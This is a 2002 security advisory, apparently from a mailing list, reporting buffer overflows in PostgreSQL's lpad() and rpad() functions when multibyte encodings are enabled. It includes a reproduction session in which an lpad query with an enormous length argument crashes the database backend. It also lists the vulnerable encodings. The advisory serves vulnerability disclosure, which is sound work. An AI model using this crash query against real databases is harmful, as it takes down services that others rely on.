@(#)Mordred Labs advisory 0x0004: Multiple buffer overflows in PostgreSQL.

[Sir Mordred The Traitor <mordred () s-mail com>]

//@(#) Mordred Labs advisory 0x0004

Release data: 20/08/02
Name: Two buffer overflows in PostgreSQL
Versions affected: all versions
Conditions: multibyte support
Risk: average

--[ Description:

I guess all of you already hear about the PostgreSQL.
If not, try to visit
http://www.postgresql.org/idocs/index.php?preface.html#INTRO-WHATIS.

There are two buffer overflows in src/backend/utils/adt/oracle_compat.c.
1) lpad(text, integer, text) function
2) rpad(text, integer, text) function

--[ Details:

The code for this functions is
src/backend/utils/adt/oracle_compat.c::lpad() and
src/backend/utils/adt/oracle_compat.c::rpad() respectively.
The code suffers from a buffer overflow (of course).

--[ How to reproduce:

shell> pgsql template1 postgres
template1=# select version();
                          version
-----------------------------------------------------------
 PostgreSQL 7.2 on i686-pc-linux-gnu, compiled by GCC 2.96
(1 row)

template1=# create database my_db with encoding='UNICODE';
CREATE DATABASE
template1# \c my_db
You are now connected to database my_db.

my_db=# select lpad('xxxxx',1431655765,'yyyyyyyyyyyyyyyy');
pqReadData() -- backend closed the channel unexpectedly.
        This probably means the backend terminated abnormally
        before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
!#

The same for rpad() function.

The vulnerable encodings are: EUC_JP, EUC_CN, EUC_KR, EUC_TW, UNICODE,
MULE_INTERNAL.

--[ Solution

Secure coding of web applications, input validation checks...etc...



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